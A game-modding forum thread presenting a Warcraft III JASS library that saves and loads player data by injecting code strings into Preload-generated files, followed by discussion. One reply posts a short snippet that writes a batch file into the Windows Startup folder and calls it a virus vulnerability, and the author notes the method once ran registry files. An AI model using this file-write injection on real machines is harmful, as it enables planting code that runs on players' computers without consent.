Demo Map Preloader based save-load system + sync local data system

DioD

New Member
Reaction score
57
Preloader based save-load system + sync local data system.

This system is hardcoded (there is no explanation about how it works).
This system works on any version of warcraft including ROC.
This system can be used only if local files is allowed.
This system wont work if you are using TriggerSleepAction anywhere (including BJ functions with waits)

Before blizzard fixed code execution this system was viable, now this is just sample.

JASS:
// AUTHOR: narayan & diod
library DATA

  // SETUP'S DATA MANAGER
  globals
    string  SAVE_PATH      = "DataManager\\" // FILE PATH (Can be [C:\\TEMP\\EWIX])
    string  SAVE_TYPE      = ".txt"          // FILE TYPE (Can be [all posible types])
  endglobals

  // CODE PART

  globals
    private integer SyncInt   = 0
    private real    SyncFlt   = 0
    private player  SyncPlr   = null
    private string  SyncStr   = null
    private boolean SyncBool  = false

    private gamecache SyncCache = InitGameCache("SyncCache")
    private string array STR
    private string       PID    = null // for optimization
  endglobals

  function Execute_STRING_DATA takes nothing returns nothing
    set STR[GetPlayerTechMaxAllowed(Player(13),1)]=GetPlayerName(Player(15))
  endfunction

  function CreateData takes player P returns nothing
    set SyncPlr  = P
    call ExecuteFunc("ExecCreateData")
  endfunction

  function ExecCreateData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"THIS |cffff0000DATA|r ALREADY USED!")
        return
      endif
      call PreloadGenClear()
      call PreloadGenStart()
      set SyncBool=true
    endif
  endfunction

  function AddInteger takes integer Offset,integer Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Integer function")
        return
      endif
      if Value>0 then
        call Preload("\")\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(Value)+")\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",3)//")
      elseif Value<0 then
        call Preload("\")\ncall SetPlayerTechMaxAllowed(Player(15),"+I2S(Offset)+","+I2S(-Value)+")\ncall SetPlayerTechMaxAllowed(Player(14),"+I2S(Offset)+",2)//")
      endif
    endif
  endfunction

  function AddReal takes integer Offset,real Value,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Real function")
        return
      endif
      if Value>0 then
        call Preload("\")\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(Offset)+")//")
      else
        call Preload("\")\ncall DefineStartLocation(11,"+R2SW(Value,2,2)+","+R2S(-Offset)+")//")
      endif
    endif
  endfunction

  function AddString takes integer Offset,string S,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 or Offset>8190 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add String function")
        return
      endif
      call Preload("\")\ncall SetPlayerName(Player(15),\""+S+"\")\ncall SetPlayerTechMaxAllowed(Player(13),1,"+I2S(Offset)+")\ncall ExecuteFunc(\"Execute_STRING_DATA\")\n//")
    endif
  endfunction

  function AddBoolean takes integer Offset,boolean B,player P returns nothing
    if GetLocalPlayer()==P then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      elseif Offset<0 then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Incorrect offset on Add Boolean function")
        return
      endif
      if B then
        call Preload("\")\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),true)//")
      else
        call Preload("\")\ncall SetGameTypeSupported(ConvertGameType("+I2S(Offset)+"),false)//")
      endif
    endif
  endfunction

  function SaveData takes string Name,player P returns nothing
    set SyncPlr=P
    set SyncStr=Name
    call ExecuteFunc("Execute_SaveData")
  endfunction

  function Execute_SaveData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if not SyncBool then
        debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60,"|cffff0000Error|r: Data not allocated for this player")
        return
      endif
      set SyncBool=false
      call Preload("\")\nendfunction\nfunction recyclebin takes nothing returns nothing//")
      call PreloadGenEnd(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function LoadData takes string Name,player P returns nothing
    set SyncPlr = P
    set SyncStr = Name
    call ExecuteFunc("Execute_LoadData")
  endfunction

  function Execute_LoadData takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call Preloader(SAVE_PATH+SyncStr+SAVE_TYPE)
    endif
  endfunction

  function ReadInteger takes integer Offset,player P returns integer
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadInteger")
    return GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadInteger takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if GetPlayerTechMaxAllowed(Player(14),SyncInt)==2 then
        set SyncInt = -GetPlayerTechMaxAllowed(Player(15),SyncInt)
      elseif GetPlayerTechMaxAllowed(Player(14),SyncInt)==3 then
        set SyncInt = GetPlayerTechMaxAllowed(Player(15),SyncInt)
      else
        set SyncInt = 0
      endif
      call StoreInteger(SyncCache,I2S(SyncInt),PID,SyncInt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredInteger(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncInt = GetStoredInteger(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadReal takes integer Offset,player P returns real
    set SyncInt = Offset
    set SyncFlt = R2I(Offset)
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadReal")
    return GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadReal takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      if RAbsBJ(GetStartLocationY(GetPlayerStartLocation(Player(11))))!=SyncFlt then
        return
      endif
      if GetStartLocationY(GetPlayerStartLocation(Player(11)))<0 then
        set SyncFlt = -GetStartLocationX(GetPlayerStartLocation(Player(11)))
      else
        set SyncFlt = GetStartLocationX(GetPlayerStartLocation(Player(11)))
      endif
      call StoreReal(SyncCache,I2S(SyncInt),PID,SyncFlt)
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredReal(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncFlt = GetStoredReal(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadString takes integer Offset,player P returns string
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadString")
    return GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadString takes nothing returns nothing
    if GetLocalPlayer()==SyncPlr then
      call StoreString(SyncCache,I2S(SyncInt),PID,STR[SyncInt])
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredString(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set SyncStr = GetStoredString(SyncCache,I2S(SyncInt),PID)
  endfunction

  function ReadBoolean takes integer Offset,player P returns boolean
    set SyncInt = Offset
    set SyncPlr = P
    set PID = I2S(GetPlayerId(P))
    call ExecuteFunc("Execute_ReadBoolean")
    return GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction

  function Execute_ReadBoolean takes nothing returns nothing
    local boolean b=false
    if GetLocalPlayer()==SyncPlr then
      call StoreBoolean(SyncCache,I2S(SyncInt),PID,IsGameTypeSupported(ConvertGameType(SyncInt)))
    endif
    call TriggerSyncStart()
    if GetLocalPlayer()==SyncPlr then
        call SyncStoredBoolean(SyncCache,I2S(SyncInt),PID)
    endif
    call TriggerSyncReady()
    set b=GetStoredBoolean(SyncCache,I2S(SyncInt),PID)
  endfunction

endlibrary


JASS:
// ?????? ?? Diod
scope template initializer init

 globals
   boolean load_stat = false
 endglobals

 private function Do_Load takes nothing returns nothing
   if load_stat then
     call DisplayTimedTextToForce( GetPlayersAll(),999999, "Stat's load on current moment.")
     return
   endif
   set load_stat = true
   call LoadData("test",GetTriggerPlayer())
   call BJDebugMsg("VALUE = " + I2S(ReadInteger(0x0F,GetTriggerPlayer())))
   call BJDebugMsg("BRUTE = " + I2S(ReadInteger(0x0E,GetTriggerPlayer())))
   call BJDebugMsg("Real Value = " + R2S(ReadReal(0x005,GetTriggerPlayer())))
   call BJDebugMsg("Str Value = " + ReadString(0x0,GetTriggerPlayer()))
   set load_stat = false
 endfunction

 private function Do_Save takes nothing returns nothing
   local string DATA = GetEventPlayerChatString()
   if I2S(S2I(DATA)) != DATA then
     return //invalid input
   endif
   call CreateData(GetTriggerPlayer())
   call AddInteger(0x0F,S2I(DATA),GetTriggerPlayer())
   call AddInteger(0x0E,0x00FF,GetTriggerPlayer())
   call AddReal(0x005,1200,GetTriggerPlayer())
   call AddString(0x00,"template string",GetTriggerPlayer())
   call SaveData("test",GetTriggerPlayer())
   if GetLocalPlayer()==GetTriggerPlayer() then
     call BJDebugMsg(DATA + " stored as local data, check it at warcraft dir")
   endif
 endfunction

 private function init takes nothing returns nothing
    local trigger Save = CreateTrigger()
    local trigger Load = CreateTrigger()
    local integer I = 0
// not need part
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Type integer to save it locally")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Press ESC to load and sync saved data")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "You can enter negative value")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Enter '-save' for save hero")
    call DisplayTimedTextToForce( GetPlayersAll(),999999, "Enter '-load' for load hero")
// end part
    loop
        call TriggerRegisterPlayerChatEvent(Save, Player(I),  "", false )
        call TriggerRegisterPlayerEvent    (Load, Player(I), EVENT_PLAYER_END_CINEMATIC)
        set I = I + 1
        exitwhen I == 12
    
    endloop
    call TriggerAddAction( Save, function Do_Save )
    call TriggerAddAction( Load, function Do_Load )
  endfunction

endscope
 

Attachments

  • REgFile.zip
    288 bytes · Views: 458
  • data manager v1.6.w3x
    21.6 KB · Views: 540

saw792

Is known to say things. That is all.
Reaction score
280
Wait I'm confused, does this work with the latest version of WC3 or not? You said it should work with every version including ROC, but then say it isn't practical since Blizzard fixed code execution. Why is that the case?

Cool idea, I didn't know the Preload functions could actually be used to write to files.
 

Azlier

Old World Ghost
Reaction score
461
I don't get it. It works and data is retrievable, or?

If data's retrievable, then it should work on multiplayer if you manage to get players to enable local files, right?
 

DioD

New Member
Reaction score
57
if works for players who enabled local files.

if some one not enabled local files, he wont be able to LOAD data, but saving and sync still possible.
Players who have local files enabled and do not have can play same game without conflicts.

if you have no way to enable loading for other players, you may use this as saveload system for yourself (you can store loadcode or direct info on HDD load and sync it)

It will accept and load to other players ANY data stored on your disk (you able to write any data into batch file, as long as you follow syntax this data will work)

After you sync data, every player have access to it, soo its 100% desync safe.

Before blizzard fixed code exec, it was possible to run regfile from map's code. (actually with codeexec you may do whatever you like, but only running files was tested)
 

Azlier

Old World Ghost
Reaction score
461
Ah, just as I had hoped. If you leave instructions on how to get WC3 to allow local files in your map this could potentially be the end of save/load codes as we know them, yes?

That is, if someone somehow devises a way to save a specific hero's data to one person's local file and no one else's. Or index it by player name or something. I don't know how to do this stuff.
 

Sevion

The DIY Ninja
Reaction score
413
You could just encode the player's name to the cache and on load, check it against the current user's name.
 

Azlier

Old World Ghost
Reaction score
461
Yes, I thought of that. But what if another player decides to play the same map on their computer using their own account? Will the old data be overwritten? That kind of thing needs to be planned for.
 

Jesus4Lyf

Good Idea™
Reaction score
397
JASS:
function Trig_Melee_Initialization_Actions takes nothing returns nothing
    call PreloadGenClear()
    call PreloadGenStart()
    call Preload("\")\r\nPAUSE\r\n//")
    call PreloadGenEnd("C:\\Users\\USERNAMEHERE\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\myvirus.bat")
endfunction

Another virus vulnerability. WC3 isn't safe until next patch. This allows us to run batch script on a computer on startup... Just write out to a batch file located in Start > Programs > Startup, and you're done. :)
 

DioD

New Member
Reaction score
57
you cant load data for individual player only, if you use this data, game will desync, since other players will have other results on code execution.

and there is no way to protect code from other players, sunc data write to replay files.
 

tooltiperror

Super Moderator
Reaction score
231
If it doesn't work without local files being enabled, it's rather useless right now.
 
General chit-chat
Help Users
  • Varine Varine:
    They are pretty much disposable. I have shitty nozzles though, and I don't think these were designed for how hot I've run them
  • Varine Varine:
    I tried to extract it but the thing is pretty stuck. Idk what else I can use this for
  • Varine Varine:
    I'll throw it into my scrap stuff box, I'm sure can be used for something
  • Varine Varine:
    I have spare parts for like, everything BUT that block lol. Oh well, I'll print this shit next week I guess. Hopefully it fits
  • Varine Varine:
    I see that, despite your insistence to the contrary, we are becoming a recipe website
  • Varine Varine:
    Which is unique I guess.
  • The Helper The Helper:
    Actually I was just playing with having some kind of mention of the food forum and recipes on the main page to test and see if it would engage some of those people to post something. It is just weird to get so much traffic and no engagement
  • The Helper The Helper:
    So what it really is me trying to implement some kind of better site navigation not change the whole theme of the site
  • Varine Varine:
    How can you tell the difference between real traffic and indexing or AI generation bots?
  • The Helper The Helper:
    The bots will show up as users online in the forum software but they do not show up in my stats tracking. I am sure there are bots in the stats but the way alot of the bots treat the site do not show up on the stats
  • Varine Varine:
    I want to build a filtration system for my 3d printer, and that shit is so much more complicated than I thought it would be
  • Varine Varine:
    Apparently ABS emits styrene particulates which can be like .2 micrometers, which idk if the VOC detectors I have can even catch that
  • Varine Varine:
    Anyway I need to get some of those sensors and two air pressure sensors installed before an after the filters, which I need to figure out how to calculate the necessary pressure for and I have yet to find anything that tells me how to actually do that, just the cfm ratings
  • Varine Varine:
    And then I have to set up an arduino board to read those sensors, which I also don't know very much about but I have a whole bunch of crash course things for that
  • Varine Varine:
    These sensors are also a lot more than I thought they would be. Like 5 to 10 each, idk why but I assumed they would be like 2 dollars
  • Varine Varine:
    Another issue I'm learning is that a lot of the air quality sensors don't work at very high ambient temperatures. I'm planning on heating this enclosure to like 60C or so, and that's the upper limit of their functionality
  • Varine Varine:
    Although I don't know if I need to actually actively heat it or just let the plate and hotend bring the ambient temp to whatever it will, but even then I need to figure out an exfiltration for hot air. I think I kind of know what to do but it's still fucking confusing
  • The Helper The Helper:
    Maybe you could find some of that information from AC tech - like how they detect freon and such
  • Varine Varine:
    That's mostly what I've been looking at
  • Varine Varine:
    I don't think I'm dealing with quite the same pressures though, at the very least its a significantly smaller system. For the time being I'm just going to put together a quick scrubby box though and hope it works good enough to not make my house toxic
  • Varine Varine:
    I mean I don't use this enough to pose any significant danger I don't think, but I would still rather not be throwing styrene all over the air
  • The Helper The Helper:
    New dessert added to recipes Southern Pecan Praline Cake https://www.thehelper.net/threads/recipe-southern-pecan-praline-cake.193555/

      The Helper Discord

      Members online

      No members online now.

      Affiliates

      Hive Workshop NUON Dome World Editor Tutorials

      Network Sponsors

      Apex Steel Pipe - Buys and sells Steel Pipe.
      Top